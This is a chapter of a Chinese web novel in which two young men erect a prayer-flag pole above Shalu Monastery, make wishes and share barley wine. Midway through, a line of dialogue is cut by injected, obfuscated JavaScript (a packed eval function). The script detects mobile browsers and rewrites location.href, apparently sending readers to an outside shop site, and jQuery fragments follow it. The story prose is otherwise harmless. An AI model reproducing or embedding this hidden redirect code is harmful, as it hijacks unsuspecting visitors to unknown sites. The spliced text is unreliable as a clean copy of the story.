到达预定地点时，太阳刚好跃出东边的山脊。金光泼洒下来，整个河谷瞬间苏醒。
他们站在一片相对平坦的坡地上，脚下是夏鲁寺层层叠叠的屋顶，远处是蜿蜒的年楚河支流，像一条银色的哈达，铺展在枯黄的田野之间。
“就是这儿。”尼玛旺堆放下经幡柱，环顾四周，地上残留着半截腐朽的木桩，是旧的经幡柱基座。
接下来的工作沉默而有序。尼玛旺堆用随身带来的小镐挖深坑，沈翊帮忙清理碎石和旧木屑。高原的冻土坚硬如铁，每一镐下去都只能留下浅白的印子。尼玛旺堆脱掉外套，只穿一件单薄的毛衣，手臂肌肉随着每一次挥动绷紧、舒展，额角很快渗出细密的汗珠。
沈翊看着他，忽然意识到，这是自己第一次如此专注地观察尼玛旺堆劳动的样子。
不是日常的喂牛、捡粪，以一种虔诚的目光，咋下冻土的撞击声，都像是原始的鼓点，敲打在这个清晨寂静的山坡上。
坑终于挖好。尼玛旺堆用水平尺仔细测量，调整深度，然后示意沈翊帮忙扶住新的经幡柱。两人合力将沉重的木杆竖起，对准坑心，慢慢放下。
“稳吗？”尼玛旺堆问，声音有些喘。
“稳。”沈翊紧紧扶着柱子，手心能感觉到木头粗糙的纹理和尚未散尽的夜寒。
尼玛旺堆开始填土。他不用工具，而是跪下来，用手一捧一捧地将泥土回填，压实，再回填。沈翊学着他的样子，也跪下来，双手插入冰冷刺骨的泥土中。土里混着细碎的石子和草根，冻得手指发麻，但某种奇异的、神圣的感觉，随着这个简单的动作，从指尖一路蔓延到心脏。
当经幡柱稳稳矗立，尼玛旺堆从布袋里拿出那捆五彩经幡。他展开经幡，五色布块依次是蓝、白、红、绿、黄，分别象征天空、云朵、火焰、江河和大地。每一块布上都印着密密麻麻的藏文经文。
“这是《卓玛经》，”尼玛旺堆低声解释，手指拂过那些弯曲的文字，“祈福的。”
他开始系经幡。先从顶端开始，将蓝色经幡系在柱尖下方，然后是白色、红色……他的动作熟练而虔诚，每系好一块，都会低声念诵一句。沈翊站在一旁，看着他高大的背影在晨光中微微前倾，看着他被风吹起的黑发，看着他念诵时喉结轻微的滚动。
风渐渐大了起来。系好的经幡开始猎猎飘动，五彩布块在风中舒展、翻卷，发出哗啦啦的声响。那声音起初有些突兀，很快便融入山谷的风啸中，成为这天地自然乐章的一部分。
尼玛旺堆系好最后一块黄色经幡，退后两步，双手合十，对着经幡柱深深鞠了一躬。然后他转过身，看向沈翊。
“来，”他说，声音被风吹得有些飘忽，“许个愿。”
沈翊走上前，与他并肩而立。风从河谷对面呼啸而来，裹挟着远山积雪的寒意，也裹挟着经幡翻飞的声响。他仰头看着那根崭新的经幡柱，看着五彩的布条在湛蓝的天幕下舞动，像一道连接大地与天空的桥梁。
许什么愿呢？
他想起北京那个逼仄的客厅，想起茶几上凉透的鸡蛋灌饼，想起江泽狰狞的脸。
那些画面曾经像玻璃碎片扎在心脏里，每一次呼吸都疼。但现在，站在这里，站在离那些往事三千多公里的山坡上，站在细碎作响的经幡下，他忽然觉得，那些疼痛并没有消失，但它们被稀释了，被这广阔的天空、凛冽的风、还有身边这个人沉默的陪伴，稀释成了可以承受的重量。
他闭上眼睛。
没有具体的愿望。没有“希望忘记过去”，没有“祈求新的开始”。
他只是深深地、深深地吸了一口气，让高原清冽寒冷的空气充满肺部，然后缓缓吐出。
睁开眼时，发现尼玛旺堆正看着他。
“许好了？”尼玛旺堆问，眼睛里映着经幡舞动的色彩。
“嗯。”沈翊点头。
“不问问我许了什么？”尼玛旺堆忽然笑了一下，那笑容很浅，却带着平日里少见的、近乎孩子气的狡黠。
沈翊心头一跳，面上却保持平静：“你许了什么？”
尼玛旺堆转回头，望向远处连绵的雪山。风把他的头发吹得乱糟糟的，他抬手捋了一下，才慢慢说：“我许愿……这根柱子，能立很久。风来了，雪来了，都不倒。”
很朴素的愿望，朴素得像他这个人。
但沈翊听懂了。
“会立很久的。”沈翊听见自己说，声音很轻，却异常清晰，“你挖的坑那么深，土压得那么实。”
尼玛旺堆侧过头，深深看了他一眼。
那眼神里闪过惊讶，还有沈翊能够感受到的温柔。
他没说话，只是从布袋里拿出那壶青稞酒和两个木碗。
倒酒，蘸酒，弹洒，敬天敬地敬神明。
然后将一碗酒递给沈翊。
两人碰碗，沈翊一饮而尽。
尼玛旺堆没喝，要开车。
酒还是温的，顺着喉咙滑下，在胃里燃起一小团火，沈翊被辣得眯起眼，尼玛旺堆却笑了，左颊的酒窝深陷下去。
“好喝吗？”
“好喝。”
“好喝就行。”尼玛旺堆又给他倒了一碗，“青稞酒的第一口，总是甜的。”
他们在经幡柱旁坐下，吃糌粑和风干牛肉。
阳光越来越暖，驱散了凌晨的寒意。沈翊靠在经幡柱的基座上，仰头看着那些飘舞的布条。风大的时候，经幡几乎被拉成水平，发出裂帛般的声响；风小时，它们又温柔地垂落，轻轻拂过木杆。
“这些经文，”沈翊问，“飘一次，就算念诵一次吗？”
“嗯。”尼玛旺堆嚼着肉干，点头，“风不停，诵经就不停。所以经幡又叫风马旗。”
沈翊凝视着那些翻飞的色彩。蓝幡拂过天际，白幡掠过云影，红幡像火焰在燃烧，绿幡如江河奔流，黄幡贴着大地。
风是媒介，将刻印在布上的祈愿，一遍遍送向天空，送向神明可能谛听的某个高处。
“你相信神明能听见吗？”他忽然问。
尼玛旺堆沉默了很久，久到沈翊以为他不会回答了。
“我不知道。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183012|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他终于开口，声音很平实，“但我相信，人心里得有地方存放愿望。不管那愿望是给神的，还是给自己的。”他顿了顿，看向沈翊，“就像你刚才许愿。你说出口，或者不说出口，它都在那儿了。经幡只是……让愿望有个样子，能看见，能在风里飘。”
沈翊怔住了。
这个二十二岁的青年，这个会在佛前虔诚叩首、会认真讲述每一种仪轨含义的藏族青年，此刻说出的话，却剥离了所有宗教的外衣，直指人心最朴素的需求，我们需要相信，需要寄托，需要给那些无法言说的重量一个形状。
“你说得对。”沈翊低声说。
他们又坐了一会儿，直到太阳升到头顶。该下山了。
尼玛旺堆起身，最后检查了一遍经幡柱的稳固程度。他用手掌拍了拍木杆，像是在告别一个刚刚立下的老朋友。然后他转向沈翊：“走吧。”
下山的路轻松许多。沈翊的膝盖还在隐隐作痛，但心情却像那些飘扬的经幡，轻快而舒展。走到半山腰时，他忍不住回头望去。
那根崭新的经幡柱立在坡顶，在阳光下显得格外挺拔。五彩经幡在蔚蓝的天幕下飞舞，像大地向天空伸出的、充满喜悦的手臂。
“它会在这里立很久。”沈翊轻声说。
“嗯。”尼玛旺堆也停下脚步，与他一起回望，“直到下一次更换。可能是五年，也可能是十年。那时候，也许你还会再来。”
沈翊心头微震。他转过头，看向尼玛旺堆。青年的侧脸在正午的阳光下轮廓分明，眼神望着远处的经幡柱，平静而悠远。
“五年后，十年后……”沈翊重复着，忽然笑了笑，“谁知道呢。也许那时候，我已经是个熟练的帮手了。”
尼玛旺堆也笑了。他没说什么，只是伸出手，很自然地扶了一下沈翊的胳膊，帮他跨过一道较宽的石头裂缝。
那只手温暖、有力，停留的时间稍长了一秒。
只是一秒。
但沈翊觉得，有什么东西，就在那一秒里，被轻轻放在了心里。
不是承诺，不是誓言，是比那些更轻盈、也更坚实的东西，像一根刚刚立起的经幡柱，沉默地扎根，然后在风里，开始它无声而漫长的歌唱。
回到车上时，两人都累得说不出话。
尼玛旺堆发动引擎，暖气慢慢充斥车厢。沈翊靠在椅背上，看着窗外飞速后退的山景，夏鲁寺的琉璃瓦顶在视线中越来越小，最终消失在山坳之后。
但他知道，有一根五彩的柱子留在了山顶，随风祈福，默念经幡上的经，祈祷世界、万物，平安。
在风里，在阳光下，在离天空最近的山坡上。
就像有些时刻，有些人，一旦被郑重地安放在心里，就再也不会被时间轻易带走。
车子驶上公路，向着家的方向。
沈翊闭上眼睛，在引擎平稳的嗡鸣中，他仿佛还能听见经幡猎猎作响的声音，一声声，一下下，像心跳，像呼吸，像这片土地古老而温柔的脉搏。
而他的心跳，不知从何时起，已悄然与那节奏重合。